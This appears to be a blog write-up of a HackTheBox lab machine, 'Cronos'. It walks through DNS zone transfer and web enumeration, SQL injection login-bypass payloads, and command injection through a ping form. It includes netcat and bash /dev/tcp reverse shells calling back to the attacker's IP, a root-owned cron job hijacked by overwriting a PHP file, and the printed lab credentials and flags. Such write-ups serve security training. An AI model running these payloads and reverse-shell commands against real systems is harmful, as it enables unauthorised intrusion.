HackTheBox | Cronos

In this walkthrough, I demonstrate how I obtained complete ownership of Cronos on HackTheBox
HackTheBox | Cronos
In: TJ Null OSCP Practice, OSCP Prep, HackTheBox, Attack, CTF

Nmap Results

# Nmap 7.93 scan initiated Mon Apr  3 00:36:36 2023 as: nmap -Pn -p- -T5 -A -oN scan.txt 10.10.10.13
Nmap scan report for 10.10.10.13
Host is up (0.021s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18b973826f26c7788f1b3988d802cee8 (RSA)
|   256 1ae606a6050bbb4192b028bf7fe5963b (ECDSA)
|_  256 1a0ee7ba00cc020104cda3a93f5e2220 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 4.2 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8080/tcp)
HOP RTT      ADDRESS
1   21.92 ms 10.10.14.1
2   22.06 ms 10.10.10.13

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr  3 00:37:08 2023 -- 1 IP address (1 host up) scanned in 32.01 seconds





Service Enumeration

TCP+UDP/53

DNS Enumeration

The first couple of gobuster enumeration attempts were unsuccessful when bruteforcing against the raw IP address of the web server. I believe it is configured to serve files based on a specific hostname or hostnames. We're going to need to try and bruteforce some information out of the DNS server running on this target.

host 10.10.10.13 10.10.10.13

Ask '10.10.10.13' if it knows who '10.10.10.13' is

The server returns one entry for 10.10.10.13ns1.cronos.htb. So, we know the nameserver is aliased to ns1.cronos.htb and the DNS zone it's hosting is cronos.htb.

Let's see what happens when we query the web server with a hostname of cronos.htb.

curl -sv -H 'Host: cronos.htb' 10.10.10.13

Send a request to the server with a 'Host' header of 'cronos.htb'.

Looks good! We've got a Laravel server here with a <title>Cronos</title> element in the HTML head section.





Check for Zone Transfer

Zone transfers are part of the core functionality of DNS, allowing DNS servers to replicate records to other servers. In this case, we are abusing a misconfiguration, as the DNS server shouldn't openly transfer its DNS records to just anyone that asks.

host -l cronos.htb 10.10.10.13

Ask 10.10.10.13 to transfer the 'cronos.htb' zone to us using the host command



TCP/80

Edit the Hosts File

Based on our findings from the DNS server on the target, let's add some DNS host overrides to our hosts file.

sudo nano /etc/hosts

Edit the '/etc/hosts' file to add a manual DNS host override

10.10.10.13    cronos.htb
10.10.10.13    www.cronos.htb
10.10.10.13    admin.cronos.htb

Add this entry to the hosts file and save your changes

www.cronos.htb redirects to cronos.htb



Gobuster Enumeration

cronos.htb

gobuster dir -u http://cronos.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,html -r -t 100 -o gobuster.txt

/css                  (Status: 200) [Size: 925]
/favicon.ico          (Status: 200) [Size: 0]
/index.php            (Status: 200) [Size: 2319]
/js                   (Status: 200) [Size: 924]
/robots.txt           (Status: 200) [Size: 24]

Nothing too interesting and the robots.txt doesn't contain any useful information.



admin.cronos.htb

gobuster dir -u http://admin.cronos.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,html -r -t 100 -o gobuster.txt

/config.php           (Status: 200) [Size: 0]
/index.php            (Status: 200) [Size: 1547]
/logout.php           (Status: 200) [Size: 1547]
/session.php          (Status: 200) [Size: 1547]
/welcome.php          (Status: 200) [Size: 1547]

Nothing too interesting to go with at the moment.





Virtual Host Enumeration

Let's see if we can find any other virtual hosts the server might be listening for.

gobuster vhost -k --domain cronos.htb --append-domain -u 10.10.10.13 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -o vhost.txt

Found: www.cronos.htb Status: 200 [Size: 2319]
Found: admin.cronos.htb Status: 200 [Size: 1547]





More Enumeration

So far, our enumeration has yielded some interesting findings, but nothing strong enough to execute on at the moment — no potential usernames, addiitonal information, etc. But, we do have a login page. We can test that for SQL injection vulnerabilities. When it comes to web apps, if you see an input point, you should test it to see if you can manipulate it outside the intended use set by the developers.

Testing for SQL Injection

What is SQL Injection? Tutorial & Examples | Web Security Academy
In this section, we’ll explain what SQL injection (SQLi) is, describe some common examples, explain how to find and exploit various kinds of SQL injection ...

We have two input points:

  • Username
  • Password
ℹ️
We should try some SQL injection payloads in both fields. I tried some pretty basic payloads in both fields and ultimately, in my brief testing, these payloads in the username field worked for me:
admin';#
' OR 1=1;#

Why do these payloads work? Probably, the code that is used to log in users contains a line similar to this:

SELECT * FROM users WHERE username = 'login_form_username' AND password = 'login_form_password_hash';

Original program logic

With SQL injection, the attacker is injecting additional characters into the original SQL statement, causing an entirely different SQL query to be executed. In the case

SELECT * FROM users WHERE username = 'admin';# ... the rest of the query is commented out and the user admin exists, so the query is successful

SELECT * FROM users WHERE username = '' OR 1=1;# ... the rest of the query is commented out and 1=1 is true, so the query is successful

SQL injection





Testing for Command Injection

Here, we've got a PHP script that looks like it is executing some commands on the underlying operating system. Specifically, this PHP script is taking user input and passing it to ping or traceroute on the target.

Since the target operating system appears to be a Linux host, we can use a ; (semicolon) to chain commands together. Effectively, what you're saying is:

  1. Run ping
  2. Then, run the next command

Very nice! We essentially have a web shell at this point. Let's capture a request, so that we can execute this from the command line using curl to make it quicker to run commands.

Open the browser developer tools and re-run the request:

We can see that it is a HTTP POST request. Let's inspect the request body:

Here's a zsh one-liner I came up with to prompt for a command and execute it in the curl request.

curl -X POST -H 'Cookie: PHPSESSID=1rqnq2h8dc8rfpnr99u3e08m17' --data-urlencode -d "command=ping -c 1&host=127.0.0.1; $(read 'cmd?Enter a command: ' && echo $cmd)" http://admin.cronos.htb/welcome.php

The $(read 'cmd?Enter a command: ' && echo $cmd) portion is running in a zsh subprocess, so whichever input you express here will be fed into the curl command subsequently.

Netcat is installed on the target at /bin/nc, but this version does not have the -e parameter, which is still fine. Let's make sure the target can connect back to us by trying the nc -nz <htb-vpn-ip> <port> command on the target.

sudo nc -lnvp 443

Start a listener

nc -nz 10.10.14.13 443

Try and call back to my listener on the target

Nice! We got a connection back to our listener!





Exploit

SQL Injection to Command Injection

Two scripts on the admin.cronos.htb server did not sanitize user inputs and allow an attacker gain command execution on the server. The index.php script has a login form with a username field that is vulnerable to SQL injection. Once authenticated via SQL injection, the welcome.php script does not sanitize the user input allows the user to chain multiple OS commands together to gain command execution.

The proper way to mitigate this vulnerability would be to refactor the PHP scripts with proper sanitization of user inputs.

Reverse Shell

sudo rlwrap nc -lnvp 443

Start a TCP listener

curl -X POST -H 'Cookie: PHPSESSID=1rqnq2h8dc8rfpnr99u3e08m17' --data-urlencode "command=ping -c 1&host=127.0.0.1; $(read 'cmd?Enter a command: ' && echo $cmd)" http://admin.cronos.htb/welcome.php

Enter a command: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 443 >/tmp/f

Use the 'curl' command from before plus netcat on the target



Stabilize with TTY Shell

python -c "import pty; pty.spawn('/bin/bash')"





Post-Exploit Enumeration

Operating Environment

OS & Kernel

NAME="Ubuntu"
VERSION="16.04.2 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.2 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial

Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

Current User

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Sorry, user www-data may not run sudo on cronos.hackthebox.gr.



Users and Groups

Local Users

noulis:x:1000:1000:Noulis Panoulis,,,:/home/noulis:/bin/bash

Local Groups

noulis:x:1000:
    
adm:x:4:syslog,noulis
cdrom:x:24:noulis
sudo:x:27:noulis
dip:x:30:noulis
plugdev:x:46:noulis
lxd:x:110:noulis
noulis:x:1000:
lpadmin:x:117:noulis
sambashare:x:118:noulis



Network Configurations

Interfaces

ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:a5:a0 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.13/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:a5a0/64 scope global mngtmpaddr dynamic 
       valid_lft 86400sec preferred_lft 14400sec
    inet6 fe80::250:56ff:feb9:a5a0/64 scope link 
       valid_lft forever preferred_lft forever

Open Ports

tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN      -



Scheduled Tasks

Interesting Scheduled Tasks

* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1



Interesting Files

/var/www/admin/config.php

<?php
   define('DB_SERVER', 'localhost');
   define('DB_USERNAME', 'admin');
   define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
   define('DB_DATABASE', 'admin');
   $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>

/var/www/laravel/.env

APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:+fUFGL45d1YZYlSTc0Sm71wPzJejQN/K6s9bHHihdYE=
APP_DEBUG=true
APP_LOG_LEVEL=debug
APP_URL=http://localhost

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=homestead
DB_USERNAME=homestead
DB_PASSWORD=secret

BROADCAST_DRIVER=log
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=sync

REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379

MAIL_DRIVER=smtp
MAIL_HOST=smtp.mailtrap.io
MAIL_PORT=2525
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null

PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=





Privilege Escalation

Cron Job and Writable File

Being perfectly honest, when I first read this box's name — cronos — it was pretty obvious that this CTF was going to involve cron somehow. After getting a reverse shell and enumerating cronjobs with cat /etc/cron*, I found the cron running the PHP Artisan script every minute.

* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

The reverse shell is currently running under the www-data user account, meaning we have full ownership of the artisan file in question. And since the cron job is running as root, when the payload executes, we'll get a shell as root.





Reverse Shell as Root

Stage the Payload

# Make a copy of the artisan file
cd /var/www/laravel
cp artisan artisan.orig

# Create the reverse shell payload
# Cron job will run every minute
echo '<?php exec("/bin/bash -c '"'"'bash -i >& /dev/tcp/10.10.14.13/443 0>&1'"'"'");' > /var/www/laravel/artisan

Don't foget to change the IP and TCP port in the payload!



Start the Listener

sudo rlwrap nc -lnvp 443





Flags

User

96ff6ae3b050aef04f75348b26143c95

Root

17cd2b082904e4845bbc370d9a71f19b
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.